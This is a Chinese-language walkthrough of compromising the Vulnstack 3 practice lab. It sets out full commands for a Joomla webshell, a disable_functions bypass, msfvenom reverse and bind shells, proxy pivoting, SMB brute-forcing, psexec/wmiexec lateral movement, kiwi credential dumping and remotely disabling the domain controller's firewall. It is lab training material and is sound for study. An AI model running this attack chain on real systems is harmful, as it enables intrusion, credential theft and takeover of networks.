Vulnstack內網靶場3 (qiyuanxuetang.net)
環境配置
開啟虛擬機器映象為掛起狀態,第一時間進行快照,部分服務未做自啟,重啟後無法自動執行。
掛起狀態,賬號已預設登陸,centos為出網機,第一次執行,需重新獲取橋接模式網路卡ip。
除重新獲取ip,不建議進行任何虛擬機器操作。
新增一個網路,配置如下,該網路為內部網路
目標:域控中存在一份重要檔案。
本次環境為黑盒測試,不提供虛擬機器賬號密碼。
kali 攻擊機ip 192.168.1.64
外網主機資訊收集
nmap -sV -A -O 192.168.1.110
22、80、3306,先看看80埠
wappalyzer外掛看到CMS是Joomla,之前我接觸過這個CMS,直接利用joomscan開掃
joomscan -u 192.168.1.110
版本號3.9.12,搜了一下這個版本的漏洞,暫時只看到了XSS, 後臺登陸介面,還有一個看樣子像是資訊洩露
開啟資訊洩露的介面,這裡洩露出了mysqli的賬號密碼
testuser:cvcvgjASD!@
getwebshell
登陸mysql
mysql -h 192.168.1.110 -u testuser -p
joomla資料庫
注意到一些叫user的表
最終在user表中找到了賬號密碼,但是密碼是加密的
試了一下john,也掃不出來
無奈之下查了一下,發現原來官方有自帶忘記密碼後如何登陸後臺的解決方法如何恢復或重置管理員密碼? - Joomla! Documentation
INSERT INTO `am2zu_users`(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
上面的例子更改密碼為“secret”
進入到剛剛掃到的後臺介面,登陸
進入後臺之後 接下來的操作就是編輯介面寫入後門,然後getshell
之前我在DC3靶機上做過joomla的滲透很快找到了後臺編輯頁面
建立了一個php檔案,寫入木馬(注意php檔案的路徑為http://192.168.1.110/templates/beez3/shell.php)
我首先試了一下用msf的木馬,但是發現不能連線,然後我再試了一下weevely的木馬才能連線的上
weevely generate test test.php //生成木馬,連線密碼為test
weevely http://192.168.1.110/templates/beez3/shell.php test \\連線木馬檔案
有點好奇為什麼msf不能連線,因為我之前的靶機試過是可以的,網上查了一下,好像是因為設定了disable_functions,被禁用了一些危險的函式
然而雖然weevely連上了,但是很多命令都不能用,所以基本沒有用,還得尋找一些繞過disable_functions的方法,檢視了一下版本號
找到了一個php指令碼可以直接繞過執行系統命令github.com
上傳上去
然後傳送如下POST請求:
POST: cmd=<command>// <command>為你要執行的系統命令
但是也只是能執行系統命令,後來看到蟻劍有一個外掛可以直接繞過disable_function,就去kali裝了蟻劍試試看
windows,linux 蟻劍下載與安裝 與 手動安裝外掛disable_functions_Sk1y的部落格-CSDN部落格
可以看到連線了蟻劍之後也是不能執行系統命令
載入外掛後,直接可以執行命令,真強
蟻劍上傳一個msf的linux後門,反彈到msf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.64 LPORT=4444 -f elf > shell.elf
msf監聽,這裡直接獲取到了root許可權
但是我用蟻劍檢視網路,發現明明是同一個shell,為什麼兩邊的網路配置卻不一樣
系統也不一樣,有點奇怪
查了一下應該是nigx反向代理,將處於內網的Ubuntu(192.168.93.120)代理到了CentOS(192.168.1.110)上。這就解釋了為什麼我上傳後門,卻返回了完全不同的shell,這個msf返回的shell才是真正對外的主機
內網滲透
前面獲取了內網的網段192.168.93.0/24
接下來新增路由將msf帶進內網
通過background
回到msf
,使用route
增加對應路由,4是sessions值
route add 192.168.93.0 255.255.255.0 4
檢視是否設定成功
這樣msf就能掃描到內網的主機了
或者使用ew代理和proxychains4將整個kali帶入內網
首先將EW上傳
在攻擊機執行
./ew_for_linux64 -s rcsocks -l 1080 -e 4444
這條命令的意思是在公網VPS上新增一個轉接隧道,把1080埠收到的代理請求轉發給4444埠
然後在web主機執行
ew_for_Win.exe -s rssocks -d 192.168.200.6 -e 4444
這條命令的意思是在本機伺服器上啟動SOCKS5服務,然後反彈到192.168.200.6攻擊機的4444埠
執行完後會顯示連線OK,現在就可以通過訪問攻擊機的1080埠,使用win7的伺服器上SOCKS5代理服務
接下來使用proxychains新增代理(KALI中自帶)
輸入開啟proxychains進行編輯
vi /etc/proxychains4.conf
首先將dynamic_chain前面的註釋符#刪除
然後在底部改成內容 socks5 127.0.0.1 1080
儲存並退出,現在kali可以訪問內網了
setg Proxies socks5:127.0.0.1:1080
,把msf代理進內網
使用msf掃描內網主機和埠
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.93.0/24
set threads 100
run
還掃到了三個主機分別為10、20、30
或者可以使用smb掃描
use auxiliary/scanner/smb/smb_version set rhosts 192.168.93.1/24 run
這種方式可以直接獲取主機名和域名
既然開放了445埠,嘗試一下永恆之藍攻擊,但是都失敗了
那我能想到的只剩下最後一種方法,爆破密碼了
使用 use auxiliary/scanner/smb/smb_login
但是基本上能用的字典都用了,沒有跑出來
到了這裡我已經沒有頭緒了,檢視wp發現居然是要用之前的mysql的密碼來遠端登陸192.168.93.20:1433 mssql的資料庫,實在沒想到。。並且後面根據mssql低許可權獲取ntlmv2 hash的操作目前我也不瞭解,解法還有很多
Vlunstack ATT&CK實戰系列——紅隊實戰(三)Writeup - 先知社群 (aliyun.com)
ATT&CK實戰系列-紅隊評估 (三)Vulnstack靶場內網域滲透 (qq.com)
還是用別人的字典跑出來了administrator的密碼是123qwe!ASD
impacket工具包
獲得了密碼,使用psexec從linux向windows進行橫向移動
proxychains psexec.py 'administrator:123qwe!ASD@192.168.93.30'
獲取到了win2008和win7的許可權,域控的許可權暫時沒有獲取到,但是這個shell很快就會沒
使用wmiexec的shell比較穩定Psexec和wmiexec的原理和區別 - 我要變超人 - 部落格園 (cnblogs.com)
proxychains wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'
使用smbclient通過代理連線windows server 2008 上傳一個正向後門
msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o shell.exe
proxychains smbclient //192.168.93.20/C$ -U administrator
接著在剛剛獲取的許可權上執行後門
msf監聽獲取shell
getsystem load kiwi creds_all
抓取到了域管理員的密碼,接下來就可以進行ipc連線攻擊域控了
獲取域控
輸入shell進入終端,連線域控上傳木馬建立定時任務
net use \\192.168.93.10\ipc$ "zxcASDqw123!!" /user:administrator copy c:\shell.exe \\192.168.93.10\c$ schtasks /create /s 192.168.93.10 /tn test /sc once /st 10:05 /tr C:\shell.exe /ru system /f
建立失敗,訪問被拒
使用psexec模組也不行
use exploit/windows/smb/psexec set rhosts 192.168.93.10 set SMBDomain TEST set SMBUser administrator set SMBPass zxcASDqw123!! set payload windows/meterpreter/bind_tcp run
但是使用impacket工具包中的psexec可以
還看到一種方法,ipc連線後遠端關閉域控的防火牆,然後在使用msf的psexec模組即可
sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\192.168.93.10 start unablefirewall
機密檔案